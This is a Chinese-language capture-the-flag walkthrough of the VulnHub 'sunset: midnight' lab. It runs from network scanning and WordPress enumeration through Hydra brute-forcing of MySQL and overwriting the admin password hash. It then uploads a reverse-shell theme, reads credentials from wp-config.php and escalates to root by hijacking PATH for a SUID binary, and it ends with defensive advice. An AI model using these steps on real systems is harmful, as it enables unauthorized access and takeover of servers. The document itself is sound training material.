> 技术文档 > sunset: midnight靶场

sunset: midnight靶场

sunset: midnight

来自 <sunset: midnight ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.146

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.146

(1) 22/tcp → SSH

  • 服务: OpenSSH 7.9p1 (Debian 10 buster 版本)
  • 风险点:
    • 如果有弱口令 / 默认凭据 → 可直接登录
    • 版本 7.9 可能存在已知漏洞(例如用户枚举、加密算法弱点),但主流漏洞较少
  • 后续方向:
    • 暴力破解 / 密码喷洒(Hydra, Medusa, CrackMapExec)
    • 利用已知账户凭据(若从 Web 或 DB 泄露获取)

(2) 80/tcp → HTTP

  • 服务: Apache 2.4.38 (Debian 10 自带版本)
  • 指纹:
    • robots.txt → 存在 /wp-admin/,说明网站是 WordPress
    • 标题跳转至 http://sunset-midnight/ → 说明配置了虚拟主机,需要修改 /etc/hosts 添加:
      192.168.23.146  sunset-midnight
    • WordPress 可能存在插件/主题漏洞、弱口令、上传绕过等常见攻击面
  • 后续方向:
    • WPScan → 扫描用户、插件、主题漏洞
    • 查找是否存在 wp-config.php 泄露
    • 常见漏洞:XML-RPC 爆破、文件上传、SQL 注入

(3) 3306/tcp → MySQL (MariaDB)

  • 服务: MariaDB 10.3.22
  • 信息:
    • 使用 mysql_native_password 插件认证
    • 返回了 salt 值 → 可以尝试暴力破解
  • 风险点:
    • 默认账号 (root / wordpress / test)
    • 弱口令
    • 如果数据库未做限制,可能存在远程连接权限
  • 后续方向:
    • 使用 Hydra/MySQL 客户端进行弱口令尝试
    • 如果成功 → dump 出 wp_users 表的 hash,然后破解
    • 配合 WordPress → 数据库泄露 → 反推管理员密码

4,首先修改 /etc/hosts 添加:
echo \"192.168.23.146  sunset-midnight\" >>/etc/hosts

然后再访问80端口开设的网站

一眼定真CMS为wordpress,whatweb验证一下

whatweb -v http://sunset-midnight

再扫描其子目录

dirsearch -u http://192.168.23.146 -x 403,404 

存在登录页面

http://sunset-midnight/wp-login.php

5,然后再使用wpscan做专门的扫描

wpscan --url http://sunset-midnight/

判断可能存在各种漏洞,接下来再爆破枚举网站用户名

wpscan --url http://sunset-midnight/ -e u

存在一个admin用户,再爆破这个用户密码

wpscan --url http://sunset-midnight/ -P /usr/share/wordlists/rockyou.txt -U admin

admin极有可能是强密码,放弃爆破

6,注意到开放了3306端口,也就是mysql服务,这里也是可以进行弱口令爆破的

hydra 192.168.23.146 mysql -l root -P /usr/share/wordlists/rockyou.txt

直接远程连接数据库

mysql -h 192.168.23.146 -u root -p --skip-ssl

show databases;

use wordpress_db;

show tables;

读取wp_users表所有数据

select * from wp_users;

admin密码被加密成hash值,这里不去爆解它,而是将弱口令同样加密成hash值,然后替换数据表里面的密码,最后就可以以我们可知的弱口令去登录数据库

123456/e10adc3949ba59abbe56e057f20f883e

update wp_users set user_pass=\'e10adc3949ba59abbe56e057f20f883e\' where user_login=\'admin\';

select * from wp_users;

篡改成功,直接登录到wordpress后台

7,尝试上传反弹shell木马到靶机,以获取服务器的控制。这里直接使用kali自带的反弹shell木马,注意修改IP和端口。在appearance->add new ->upload theme进行上传

cp /usr/share/webshells/php/php-reverse-shell.php index.php

需要把shell文件打包成压缩包才能上传

报错原因:

WordPress 的主题安装机制要求 style.css 里有主题头部信息,否则它就不认这个 ZIP 包是个合法主题。

它要解析 style.css 文件最上面的注释块,例如:

/*

Theme Name: Test

Theme URI: Example Domain

Author: Admin

Author URI: Example Domain

Description: A simple shell theme

Version: 1.0

License: GPL

License URI: http://www.gnu.org/licenses/gpl-2.0.html

Text Domain: test

*/

如果 shell.zip 里只是你的 shell.php,没有符合格式的 style.css,就会提示:

The style.css stylesheet doesn’t contain a valid theme header.

上传成功。需要找到这个文件所在位置以触发反弹shell

/wp-content/themes/shell/index.php

与此同时kali打开对4444端口的监听

8,python脚本启动一个可交互shell,然后信息收集

python -c \'import pty;pty.spawn(\"/bin/bash\")\'

有一个普通用户jose,搜索一下关于jose的有用信息

grep -r \"jose\" ./

一般wordpress为框架的网站都习惯性看看数据库配置文件,由此可以找到jose用户的明文密码645dc5a8871d2a4269d4cbe23f6ae103

cat /var/www/html/wordpress/wp-config.php

9,直接ssh登录jose用户

ssh jose@192.168.23.146

 查看suid权限的文件以实现提权

find / -perm -u=s -type f 2>/dev/null

然后执行status命令看看,其实是执行service命令,但是为未使用service的绝对路径,所以可以尝试更改$PATH来执行该文件

cd /tmp

echo \"/bin/bash\" > service 

chmod 777 service 

echo $PATH 

export PATH=/tmp:$PATH 

status

1. 漏洞触发条件

  • /usr/bin/status 是一个 SUID root 程序 → 无论谁运行,它都以 root 身份执行。
  • 这个程序里调用了 service 命令,但没有写绝对路径,比如:
    system(\"service something\");
  • 在 Linux 中,当程序调用不带路径的命令时,系统会按照 $PATH 环境变量依次查找。

2. 漏洞利用思路

  • 因为 status 以 root 身份执行,所以它调用的 service 也会以 root 权限执行。
  • 如果攻击者能控制 $PATH,让系统优先在一个可写目录(如 /tmp)里找到“伪造的 service”,就能劫持执行逻辑。
  • 于是你在 /tmp 下创建了一个假的 service 文件,内容是:
    /bin/bash
  • 给它可执行权限,再把 /tmp 放到 $PATH 的最前面:
    export PATH=/tmp:$PATH
  • 当 status 运行时,它调用的其实是你伪造的 /tmp/service → 于是直接以 root 权限执行 /bin/bash。
  • 最终你获得了一个 root shell。

3. 提权原理总结

这类提权方式就是 SUID 程序 PATH 劫持漏洞,其本质是:

  • 程序用 root 身份执行了一个外部命令(比如 service)。
  • 但没有使用绝对路径(如 /usr/sbin/service)。
  • 攻击者可以通过修改 $PATH 来劫持该命令的执行路径。
  • 因为 SUID 继承了 root 权限,所以伪造命令也以 root 执行,最终拿到 root shell。

4. 防御思路

  • 开发 SUID 程序时,永远使用绝对路径调用外部命令。
  • 或者在调用前 清空并重设 PATH,防止被攻击者劫持:
    setenv(\"PATH\", \"/usr/bin:/bin\", 1);
    system(\"/usr/sbin/service ...\");
  • 从安全运维角度,定期用
    find / -perm -4000 -type f 2>/dev/null
    审计系统中的 SUID 文件,排查可疑程序。

一句话总结

你的提权成功是因为 SUID root 程序调用了未指定绝对路径的命令,攻击者通过 PATH 劫持,将该命令替换成恶意可执行文件,从而获得 root 权限。

成功提权成为root用户,获得flag